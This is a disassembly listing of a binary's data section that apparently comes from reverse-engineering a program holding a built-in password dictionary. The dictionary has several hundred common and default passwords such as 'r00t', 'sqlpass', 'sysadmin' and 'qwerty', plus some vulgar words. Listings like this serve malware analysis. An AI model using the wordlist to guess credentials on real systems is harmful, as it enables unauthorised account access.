aVideogam	db 'videogam',0         ; DATA XREF: .text:0042DFBCo
		align 4
aVideo		db 'video',0            ; DATA XREF: .text:0042DFB8o
		align 4
aVictor		db 'victor',0           ; DATA XREF: .text:0042DFB4o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: .text:0042DFB0o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: .text:0042DFACo
aVeronica	db 'veronica',0         ; DATA XREF: .text:0042DFA8o
		align 4
aVenus		db 'venus',0            ; DATA XREF: .text:0042DFA4o
		align 10h
aVasant		db 'vasant',0           ; DATA XREF: .text:0042DFA0o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: .text:0042DF9Co
aValerie	db 'valerie',0          ; DATA XREF: .text:0042DF98o
aVagina		db 'vagina',0           ; DATA XREF: .text:0042DF94o
		align 10h
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: .text:0042DF90o
		align 10h
aUucp		db 'uucp',0             ; DATA XREF: .text:0042DF8Co
		align 4
aUtility	db 'utility',0          ; DATA XREF: .text:0042DF88o
aUtil		db 'util',0             ; DATA XREF: .text:0042DF84o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: .text:0042DF80o
		align 10h
aUserpassword	db 'userpassword',0     ; DATA XREF: .text:0042DF7Co
		align 10h
aUsername	db 'username',0         ; DATA XREF: .text:0042DF78o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: .text:0042DF74o
		align 4
aUser1		db 'user1',0            ; DATA XREF: .text:0042DF70o
		align 10h
aUsenet		db 'usenet',0           ; DATA XREF: .text:0042DF6Co
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: .text:0042DF68o
		align 10h
aUrchin		db 'urchin',0           ; DATA XREF: .text:0042DF64o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: .text:0042DF60o
		align 10h
aUpload		db 'upload',0           ; DATA XREF: .text:0042DF5Co
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: .text:0042DF58o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .text:0042DF54o
		align 4
aUniversi	db 'universi',0         ; DATA XREF: .text:0042DF50o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: .text:0042DF4Co
		align 10h
aUniversa	db 'universa',0         ; DATA XREF: .text:0042DF48o
		align 4
aUniform	db 'uniform',0
aUnicorn	db 'unicorn',0
aUnhappy	db 'unhappy',0
aUndo		db 'undo',0
		align 4
aUncle		db 'uncle',0
		align 4
aUmesh		db 'umesh',0
		align 4
aUgly		db 'ugly',0
		align 4
aTuttle		db 'tuttle',0
		align 4
aTurnip		db 'turnip',0
		align 4
aTurn		db 'turn',0
		align 4
aTuesday	db 'tuesday',0
aTubas		db 'tubas',0
		align 4
aTty		db 'tty',0
aTruth		db 'truth',0
		align 4
aTrue		db 'true',0
		align 10h
aTron		db 'tron',0
		align 4
aTrombone	db 'trombone',0
		align 4
aTrojan		db 'trojan',0
		align 4
aTrivial	db 'trivial',0
aTrisha		db 'trisha',0
		align 4
aTrek		db 'trek',0
		align 4
aTree		db 'tree',0
		align 4
aTrapdoor	db 'trapdoor',0
		align 4
aTrap		db 'trap',0
		align 10h
aTransfer	db 'transfer',0
		align 4
aTrails		db 'trails',0
		align 4
aTracy		db 'tracy',0
		align 4
aTracie		db 'tracie',0
		align 4
aTraci		db 'traci',0
		align 4
aToyota_0	db 'toyota',0           ; DATA XREF: .text:0042E69Co
		align 4
aToxic		db 'toxic',0
		align 4
aTortoise	db 'tortoise',0
		align 4
aTopography	db 'topography',0
		align 4
aTopograp	db 'topograp',0
		align 10h
aTomato		db 'tomato',0
		align 4
aTokenrin	db 'tokenrin',0
		align 4
aToken		db 'token',0
		align 4
aToggle		db 'toggle',0
		align 4
aToad		db 'toad',0
		align 4
aTits		db 'tits',0
		align 4
aTina		db 'tina',0
		align 4
aTime		db 'time',0
		align 4
aTiger		db 'tiger',0            ; DATA XREF: .text:0042E690o
		align 4
aTiffany	db 'tiffany',0
aThursday	db 'thursday',0
		align 10h
aThin		db 'thin',0
		align 4
aTheresa	db 'theresa',0
aThailand	db 'thailand',0
		align 4
aText		db 'text',0
		align 4
aTetris		db 'tetris',0
		align 4
aTesting	db 'testing',0
aTestin		db 'testin',0
		align 4
aTester		db 'tester',0
		align 4
aTest123	db 'test123',0
aTess		db 'tess',0
		align 4
aTerminat	db 'terminat',0
		align 10h
aTerminal	db 'terminal',0
		align 4
aTera		db 'tera',0
		align 4
aTennis		db 'tennis',0
		align 4
aTemptation	db 'temptation',0
		align 4
aTemptati	db 'temptati',0
		align 4
aTemp123	db 'temp123',0
aTemp_0		db 'temp',0
		align 4
aTelnet		db 'telnet',0
		align 4
aTelephone	db 'telephone',0
		align 4
aTelephon	db 'telephon',0
		align 4
aTeenage	db 'teenage',0
aTeen		db 'teen',0
		align 4
aTechnical	db 'technical',0
		align 10h
aTech		db 'tech',0
		align 4
aTears		db 'tears',0            ; DATA XREF: .text:0042DE2Co
		align 10h
aTeapot		db 'teapot',0           ; DATA XREF: .text:0042DE28o
		align 4
aTeam		db 'team',0             ; DATA XREF: .text:0042DE24o
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: .text:0042DE1Co
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: .text:0042DE18o
		align 4
aTarget		db 'target',0           ; DATA XREF: .text:0042DE14o
		align 4
aTara		db 'tara',0             ; DATA XREF: .text:0042DE10o
		align 4
aTape		db 'tape',0             ; DATA XREF: .text:0042DE0Co
		align 4
aTango		db 'tango',0            ; DATA XREF: .text:0042DE08o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: .text:0042DE04o
		align 10h
aTangerin	db 'tangerin',0         ; DATA XREF: .text:0042DE00o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: .text:0042DDFCo
		align 4
aTamie		db 'tamie',0            ; DATA XREF: .text:0042DDF8o
		align 4
aTami		db 'tami',0             ; DATA XREF: .text:0042DDF4o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: .text:0042DDF0o
		align 4
aTall		db 'tall',0             ; DATA XREF: .text:0042DDECo
		align 4
aTalk		db 'talk',0             ; DATA XREF: .text:0042DDE8o
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: .text:0042DDE4o
aSysop		db 'sysop',0            ; DATA XREF: .text:0042DDE0o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: .text:0042DDDCo
		align 4
aSys		db 'sys',0              ; DATA XREF: .text:0042DDD8o
aSymmetry	db 'symmetry',0         ; DATA XREF: .text:0042DDD4o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: .text:0042DDD0o
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: .text:0042DDCCo
		align 4
aSword		db 'sword',0            ; DATA XREF: .text:0042DDC8o
		align 10h
aSwitch		db 'switch',0           ; DATA XREF: .text:0042DDC4o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: .text:0042DDC0o
		align 10h
aSwearer	db 'swearer',0          ; DATA XREF: .text:0042DDBCo
aSuzie		db 'suzie',0            ; DATA XREF: .text:0042DDB8o
		align 10h
aSuzanne	db 'suzanne',0          ; DATA XREF: .text:0042DDB4o
aSusie		db 'susie',0            ; DATA XREF: .text:0042DDB0o
		align 10h
aSusanne	db 'susanne',0          ; DATA XREF: .text:0042DDACo
aSusan		db 'susan',0            ; DATA XREF: .text:0042DDA8o
		align 10h
aSurfing	db 'surfing',0          ; DATA XREF: .text:0042DDA4o
aSurfer		db 'surfer',0           ; DATA XREF: .text:0042DDA0o
		align 10h
aSupported	db 'supported',0        ; DATA XREF: .text:0042DD9Co
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: .text:0042DD98o
		align 4
aSupport	db 'support',0          ; DATA XREF: .text:0042DD94o
aSupervis	db 'supervis',0         ; DATA XREF: .text:0042DD90o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: .text:0042DD8Co
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: .text:0042DD88o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: .text:0042DD84o
		align 10h
aSupersta	db 'supersta',0         ; DATA XREF: .text:0042DD80o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: .text:0042DD7Co
		align 4
aSuperman	db 'superman',0         ; DATA XREF: .text:0042DD78o
		align 4
aSuper		db 'super',0            ; DATA XREF: .text:0042DD74o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: .text:0042DD70o
		align 4
aSun		db 'sun',0              ; DATA XREF: .text:0042DD6Co
aSummer		db 'summer',0           ; DATA XREF: .text:0042DD68o
		align 10h
aSue		db 'sue',0              ; DATA XREF: .text:0042DD64o
aSucks		db 'sucks',0            ; DATA XREF: .text:0042DD60o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: .text:0042DD5Co
		align 4
aSuck		db 'suck',0             ; DATA XREF: .text:0042DD58o
		align 10h
aSuccess	db 'success',0          ; DATA XREF: .text:0042DD54o
aSubway		db 'subway',0           ; DATA XREF: .text:0042DD50o
					; .text:off_4254E0o
		align 10h
aSubscrib	db 'subscrib',0         ; DATA XREF: .text:0042DD4Co
		align 4
aStuttgart	db 'stuttgart',0        ; DATA XREF: .text:0042DD48o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: .text:0042DD44o
		align 4
aStudent1	db 'student1',0         ; DATA XREF: .text:0042DD40o
		align 10h
aStrip		db 'strip',0            ; DATA XREF: .text:0042DD38o
		align 4
aString		db 'string',0           ; DATA XREF: .text:0042DD34o
		align 10h
aStreetfi	db 'streetfi',0         ; DATA XREF: .text:0042DD30o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: .text:0042DD2Co
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: .text:0042DD28o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: .text:0042DD24o
		align 10h
aStrange	db 'strange',0          ; DATA XREF: .text:0042DD20o
aStones		db 'stones',0           ; DATA XREF: .text:0042DD1Co
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: .text:0042DD18o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: .text:0042DD14o
		align 4
aSteve		db 'steve',0            ; DATA XREF: .text:0042DD10o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: .text:0042DD0Co
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: .text:0042DD08o
		align 10h
aStephani	db 'stephani',0         ; DATA XREF: .text:0042DD04o
		align 4
aSteph		db 'steph',0            ; DATA XREF: .text:0042DD00o
		align 4
aSteel		db 'steel',0            ; DATA XREF: .text:0042DCFCo
		align 4
aSteal		db 'steal',0            ; DATA XREF: .text:0042DCF8o
		align 4
aSteak		db 'steak',0            ; DATA XREF: .text:0042DCF4o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: .text:0042DCF0o
		align 4
aStartup	db 'startup',0          ; DATA XREF: .text:0042DCECo
aStartrek	db 'startrek',0         ; DATA XREF: .text:0042DCE8o
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40CD3A+1E47o
					; .text:0042DCE4o
		align 4
aStarship	db 'starship',0         ; DATA XREF: .text:0042DCE0o
		align 10h
aStar		db 'star',0             ; DATA XREF: .text:0042DCDCo
		align 4
aStacy		db 'stacy',0            ; DATA XREF: .text:0042DCD4o
		align 10h
aStacie		db 'stacie',0           ; DATA XREF: .text:0042DCD0o
		align 4
aStaci		db 'staci',0            ; DATA XREF: .text:0042DCCCo
		align 10h
aStacey		db 'stacey',0           ; DATA XREF: .text:0042DCC8o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: .text:0042DCC4o
		align 10h
aSquires	db 'squires',0          ; DATA XREF: .text:0042DCC0o
aSqlpass	db 'sqlpass',0          ; DATA XREF: .text:0042DCBCo
aSqlagent	db 'sqlagent',0         ; DATA XREF: .text:0042DCB8o
		align 4
aSql		db 'sql',0              ; DATA XREF: .text:0042DCB4o
aSpunk		db 'spunk',0            ; DATA XREF: .text:0042DCB0o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: .text:0042DCACo
		align 4
aSpring		db 'spring',0           ; DATA XREF: .text:0042DCA8o
		align 4
aSpred		db 'spred',0            ; DATA XREF: .text:0042DCA4o
		align 4
aSpit		db 'spit',0             ; DATA XREF: .text:0042DCA0o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: .text:0042DC9Co
		align 4
aSpider		db 'spider',0           ; DATA XREF: .text:0042DC98o
		align 10h
aSpice		db 'spice',0            ; DATA XREF: .text:0042DC94o
		align 4
aSpencer	db 'spencer',0          ; DATA XREF: .text:0042DC90o
aSpell		db 'spell',0            ; DATA XREF: .text:0042DC8Co
		align 4
aSpear		db 'spear',0            ; DATA XREF: .text:0042DC88o
		align 10h
aSparrows	db 'sparrows',0         ; DATA XREF: .text:0042DC84o
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: .text:0042DC80o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: .text:0042DC7Co
		align 4
aSouth		db 'south',0            ; DATA XREF: .text:0042DC78o
		align 4
aSource		db 'source',0           ; DATA XREF: .text:0042DC74o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: .text:0042DC70o
aSonya		db 'sonya',0            ; DATA XREF: .text:0042DC6Co
		align 4
aSonic		db 'sonic',0            ; DATA XREF: .text:0042DC68o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: .text:0042DC64o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: .text:0042DC60o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: .text:0042DC5Co
		align 4
aSoftware	db 'software',0         ; DATA XREF: .text:0042DC58o
		align 4
aSoft		db 'soft',0             ; DATA XREF: .text:0042DC54o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: .text:0042DC50o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: .text:0042DC4Co
		align 10h
aSocial		db 'social',0           ; DATA XREF: .text:0042DC48o
		align 4
aSoap		db 'soap',0             ; DATA XREF: .text:0042DC44o
		align 10h
aSnoopy		db 'snoopy',0           ; DATA XREF: .text:0042DC40o
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: .text:0042DC3Co
		align 10h
aSnake		db 'snake',0            ; DATA XREF: .text:0042DC38o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: .text:0042DC34o
		align 10h
aSnach		db 'snach',0            ; DATA XREF: .text:0042DC30o
		align 4
aSmut		db 'smut',0             ; DATA XREF: .text:0042DC2Co
		align 10h
aSmtp		db 'smtp',0             ; DATA XREF: .text:0042DC28o
		align 4
aSmother	db 'smother',0          ; DATA XREF: .text:0042DC24o
aSmooch		db 'smooch',0           ; DATA XREF: .text:0042DC20o
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: .text:0042DC1Co
		align 10h
aSmile		db 'smile',0            ; DATA XREF: .text:0042DC18o
		align 4
aSmart		db 'smart',0            ; DATA XREF: .text:0042DC14o
		align 10h
aSmall		db 'small',0            ; DATA XREF: .text:0042DC10o
		align 4
aSlut		db 'slut',0             ; DATA XREF: .text:0042DC0Co
		align 10h
aSlow		db 'slow',0             ; DATA XREF: .text:0042DC08o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: .text:0042DC04o
aSlick		db 'slick',0            ; DATA XREF: .text:0042DC00o
		align 4
aSlave		db 'slave',0            ; DATA XREF: .text:0042DBFCo
		align 10h
aSkull		db 'skull',0            ; DATA XREF: .text:0042DBF8o
		align 4
aSite		db 'site',0             ; DATA XREF: .text:0042DBF4o
		align 10h
aSingle		db 'single',0           ; DATA XREF: .text:0042DBF0o
		align 4
aSinger		db 'singer',0           ; DATA XREF: .text:0042DBECo
		align 10h
aSimulati	db 'simulati',0         ; DATA XREF: .text:0042DBE8o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: .text:0042DBE4o
		align 4
aSimple		db 'simple',0           ; DATA XREF: .text:0042DBE0o
		align 10h
aSimon		db 'simon',0            ; DATA XREF: .text:0042DBDCo
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: .text:0042DBD8o
aSilver		db 'silver',0           ; DATA XREF: .text:0042DBD4o
		align 4
aSignature	db 'signature',0        ; DATA XREF: .text:0042DBD0o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: .text:0042DBCCo
		align 10h
aSierra		db 'sierra',0           ; DATA XREF: .text:0042DBC8o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .text:0042DBC4o
aSick		db 'sick',0             ; DATA XREF: .text:0042DBC0o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: .text:0042DBBCo
aShort		db 'short',0            ; DATA XREF: .text:0042DBB8o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: .text:0042DBB4o
aShiva		db 'shiva',0            ; DATA XREF: .text:0042DBB0o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: .text:0042DBACo
aShit		db 'shit',0             ; DATA XREF: .text:0042DBA8o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: .text:0042DBA4o
aShift		db 'shift',0            ; DATA XREF: .text:0042DBA0o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: .text:0042DB9Co
		align 10h
aShell		db 'shell',0            ; DATA XREF: .text:0042DB98o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: .text:0042DB94o
aSheffield	db 'sheffield',0        ; DATA XREF: .text:0042DB90o
		align 4
aSheffiel	db 'sheffiel',0         ; DATA XREF: .text:0042DB8Co
		align 4
aSharon		db 'sharon',0           ; DATA XREF: .text:0042DB88o
		align 10h
aSharks		db 'sharks',0           ; DATA XREF: .text:0042DB84o
		align 4
aShark		db 'shark',0            ; DATA XREF: .text:0042DB80o
		align 10h
aSharc		db 'sharc',0            ; DATA XREF: .text:0042DB7Co
		align 4
aShannon	db 'shannon',0          ; DATA XREF: .text:0042DB78o
aSexy		db 'sexy',0             ; DATA XREF: .text:0042DB74o
		align 4
aSex_0		db 'sex',0              ; DATA XREF: .text:0042DB70o
aSesame		db 'sesame',0           ; DATA XREF: .text:0042DB6Co
		align 4
aService	db 'service',0          ; DATA XREF: .text:0042DB68o
					; .text:0042E670o
aSerial_0	db 'serial',0           ; DATA XREF: .text:0042DB64o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: .text:0042DB60o
		align 10h
aSentry		db 'sentry',0           ; DATA XREF: .text:0042DB5Co
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: .text:0042DB58o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: .text:0042DB54o
		align 4
aSega		db 'sega',0             ; DATA XREF: .text:0042DB50o
		align 4
aSeed		db 'seed',0             ; DATA XREF: .text:0042DB4Co
		align 4
aSecurity	db 'security',0         ; DATA XREF: .text:0042DB48o
		align 4
aSecret		db 'secret',0           ; DATA XREF: .text:0042DB44o
		align 10h
aSearch		db 'search',0           ; DATA XREF: .text:0042DB40o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: .text:0042DB3Co
		align 4
aScript		db 'script',0           ; DATA XREF: .text:0042DB38o
		align 10h
aScout		db 'scout',0            ; DATA XREF: .text:0042DB34o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: .text:0042DB30o
		align 10h
aScott		db 'scott',0            ; DATA XREF: .text:0042DB2Co
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .text:0042DB28o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: .text:0042DB24o
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: .text:0042DB20o
aSchool		db 'school',0           ; DATA XREF: .text:0042DB1Co
		align 10h
aScheme		db 'scheme',0           ; DATA XREF: .text:0042DB18o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: .text:0042DB14o
aSaxon		db 'saxon',0            ; DATA XREF: .text:0042DB10o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: .text:0042DB0Co
		align 10h
aSaturday	db 'saturday',0         ; DATA XREF: .text:0042DB08o
		align 4
aSatanik	db 'satanik',0          ; DATA XREF: .text:0042DB04o
aSatanic	db 'satanic',0          ; DATA XREF: .text:0042DB00o
aSatan		db 'satan',0            ; DATA XREF: .text:0042DAFCo
		align 4
aSarah		db 'sarah',0            ; DATA XREF: .text:0042DAF8o
		align 4
aSara		db 'sara',0             ; DATA XREF: .text:0042DAF4o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: .text:0042DAF0o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: .text:0042DAECo
		align 4
aSample		db 'sample',0           ; DATA XREF: .text:0042DAE8o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: .text:0042DAE4o
		align 4
aSam		db 'sam',0              ; DATA XREF: .text:0042DAE0o
aSalt		db 'salt',0             ; DATA XREF: .text:0042DADCo
		align 4
aSale		db 'sale',0             ; DATA XREF: .text:0042DAD8o
		align 4
aSalami		db 'salami',0           ; DATA XREF: .text:0042DAD4o
		align 4
aSal		db 'sal',0              ; DATA XREF: .text:0042DAD0o
aSage		db 'sage',0             ; DATA XREF: .text:0042DACCo
		align 10h
aSafe		db 'safe',0             ; DATA XREF: .text:0042DAC8o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: .text:0042DAC0o
		align 10h
aRush		db 'rush',0             ; DATA XREF: .text:0042DABCo
		align 4
aRunning	db 'running',0          ; DATA XREF: .text:0042DAB8o
aRules		db 'rules',0            ; DATA XREF: .text:0042DAB4o
		align 4
aRude		db 'rude',0             ; DATA XREF: .text:0042DAB0o
		align 10h
aRuby		db 'ruby',0             ; DATA XREF: .text:0042DAACo
		align 4
aRuben		db 'ruben',0            ; DATA XREF: .text:0042DAA8o
		align 10h
aRubber		db 'rubber',0           ; DATA XREF: .text:0042DAA4o
		align 4
aRough		db 'rough',0            ; DATA XREF: .text:0042DAA0o
		align 10h
aRoses		db 'roses',0            ; DATA XREF: .text:0042DA9Co
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: .text:0042DA98o
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: .text:0042DA94o
aRose		db 'rose',0             ; DATA XREF: .text:0042DA90o
		align 4
aRooted		db 'rooted',0           ; DATA XREF: .text:0042DA8Co
		align 4
aRonald		db 'ronald',0           ; DATA XREF: .text:0042DA88o
		align 4
aRon		db 'ron',0              ; DATA XREF: .text:0042DA84o
aRomulan	db 'romulan',0          ; DATA XREF: .text:0042DA80o
aRomeo		db 'romeo',0            ; DATA XREF: .text:0042DA7Co
		align 4
aRomano		db 'romano',0           ; DATA XREF: .text:0042DA78o
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: .text:0042DA74o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: .text:0042DA70o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: .text:0042DA6Co
		align 4
aRocky		db 'rocky',0            ; DATA XREF: .text:0042DA68o
		align 4
aRock		db 'rock',0             ; DATA XREF: .text:0042DA64o
		align 4
aRochester	db 'rochester',0        ; DATA XREF: .text:0042DA60o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: .text:0042DA5Co
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: .text:0042DA58o
		align 10h
aRobyn		db 'robyn',0            ; DATA XREF: .text:0042DA54o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: .text:0042DA50o
		align 4
aRobot		db 'robot',0            ; DATA XREF: .text:0042DA4Co
		align 4
aRobin		db 'robin',0            ; DATA XREF: .text:0042DA48o
		align 4
aRobert		db 'robert',0           ; DATA XREF: .text:0042DA44o
		align 4
aRoach		db 'roach',0            ; DATA XREF: .text:0042DA40o
		align 4
aRje		db 'rje',0              ; DATA XREF: .text:0042DA3Co
aRisc		db 'risc',0             ; DATA XREF: .text:0042DA38o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: .text:0042DA34o
		align 4
aRiot		db 'riot',0             ; DATA XREF: .text:0042DA30o
		align 10h
aRing		db 'ring',0             ; DATA XREF: .text:0042DA2Co
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: .text:0042DA28o
		align 4
aRight		db 'right',0            ; DATA XREF: .text:0042DA24o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: .text:0042DA20o
		align 4
aRick		db 'rick',0             ; DATA XREF: .text:0042DA1Co
		align 10h
aRich		db 'rich',0             ; DATA XREF: .text:0042DA18o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: .text:0042DA14o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: .text:0042DA10o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: .text:0042DA0Co
		align 4
aRepublic	db 'republic',0         ; DATA XREF: .text:0042DA08o
		align 10h
aReport		db 'report',0           ; DATA XREF: .text:0042DA04o
		align 4
aRent		db 'rent',0             ; DATA XREF: .text:0042DA00o
		align 10h
aReno		db 'reno',0             ; DATA XREF: .text:0042D9FCo
		align 4
aRenee		db 'renee',0            ; DATA XREF: .text:0042D9F8o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: .text:0042D9F4o
		align 4
aRelease	db 'release',0          ; DATA XREF: .text:0042D9F0o
aRegional	db 'regional',0         ; DATA XREF: .text:0042D9ECo
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: .text:0042D9E8o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: .text:0042D9E4o
aReddawn	db 'reddawn',0          ; DATA XREF: .text:0042D9E0o
aRecord		db 'record',0           ; DATA XREF: .text:0042D9DCo
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: .text:0042D9D8o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: .text:0042D9D4o
aRebal		db 'rebal',0            ; DATA XREF: .text:0042D9D0o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: .text:0042D9CCo
		align 10h
aReam		db 'ream',0             ; DATA XREF: .text:0042D9C8o
		align 4
aReally		db 'really',0           ; DATA XREF: .text:0042D9C4o
		align 10h
aReality	db 'reality',0          ; DATA XREF: .text:0042D9C0o
aReagan		db 'reagan',0           ; DATA XREF: .text:0042D9BCo
		align 10h
aRazor		db 'razor',0            ; DATA XREF: .text:0042D9B8o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: .text:0042D9B4o
		align 10h
aRape		db 'rape',0             ; DATA XREF: .text:0042D9B0o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: .text:0042D9A8o
aRaindrop	db 'raindrop',0         ; DATA XREF: .text:0042D9A4o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: .text:0042D9A0o
aRain		db 'rain',0             ; DATA XREF: .text:0042D99Co
		align 4
aRaid		db 'raid',0             ; DATA XREF: .text:0042D998o
		align 4
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: .text:0042D994o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: .text:0042D990o
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: .text:0042D98Co
		align 4
aRachel		db 'rachel',0           ; DATA XREF: .text:0042D988o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: .text:0042D984o
		align 4
aR00t		db 'r00t',0             ; DATA XREF: .text:0042D980o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .text:0042D97Co
					; .text:0042E654o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .text:0042D978o
					; .text:0042E650o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: .text:0042D974o
					; .text:0042E64Co
		align 4
aQwe		db 'qwe',0              ; DATA XREF: .text:0042D970o
					; .text:0042E648o
aQuebec		db 'quebec',0           ; DATA XREF: .text:0042D96Co
		align 4
aQaz		db 'qaz',0              ; DATA XREF: .text:0042D968o
					; .text:0042E710o
aPwd		db 'pwd',0              ; DATA XREF: .text:0042D964o
aPw123		db 'pw123',0            ; DATA XREF: .text:0042D960o
		align 4
aPw		db 'pw',0               ; DATA XREF: .text:0042D95Co
		align 4
aPussy		db 'pussy',0            ; DATA XREF: .text:0042D958o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: .text:0042D954o
		align 4
aPunk		db 'punk',0             ; DATA XREF: .text:0042D950o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: .text:0042D94Co
		align 10h
aPuneet		db 'puneet',0           ; DATA XREF: .text:0042D948o
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: .text:0042D944o
aPuke		db 'puke',0             ; DATA XREF: .text:0042D940o
		align 4
aPuck		db 'puck',0             ; DATA XREF: .text:0042D93Co
		align 10h
aPublic		db 'public',0           ; DATA XREF: .text:0042D938o
		align 4
aPub		db 'pub',0              ; DATA XREF: .text:0042D934o
aPsychopa	db 'psychopa',0         ; DATA XREF: .text:0042D930o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: .text:0042D92Co
		align 10h
aProtozoa	db 'protozoa',0         ; DATA XREF: .text:0042D928o
		align 4
aProtect	db 'protect',0          ; DATA XREF: .text:0042D924o
aPrompt		db 'prompt',0           ; DATA XREF: .text:0042D920o
		align 4
aProgram	db 'program',0          ; DATA XREF: .text:0042D91Co
aProfile	db 'profile',0          ; DATA XREF: .text:0042D918o
aProfessor	db 'professor',0        ; DATA XREF: .text:0042D914o
		align 4
aProfesso	db 'professo',0         ; DATA XREF: .text:0042D910o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: .text:0042D90Co
		align 10h
aProceed	db 'proceed',0          ; DATA XREF: .text:0042D908o
aPrivs		db 'privs',0            ; DATA XREF: .text:0042D904o
		align 10h
aPrivate	db 'private',0          ; DATA XREF: .text:0042D900o
aPriv		db 'priv',0             ; DATA XREF: .text:0042D8FCo
		align 10h
aPrinter	db 'printer',0          ; DATA XREF: .text:0042D8F8o
aPrinceton	db 'princeton',0        ; DATA XREF: .text:0042D8F4o
		align 4
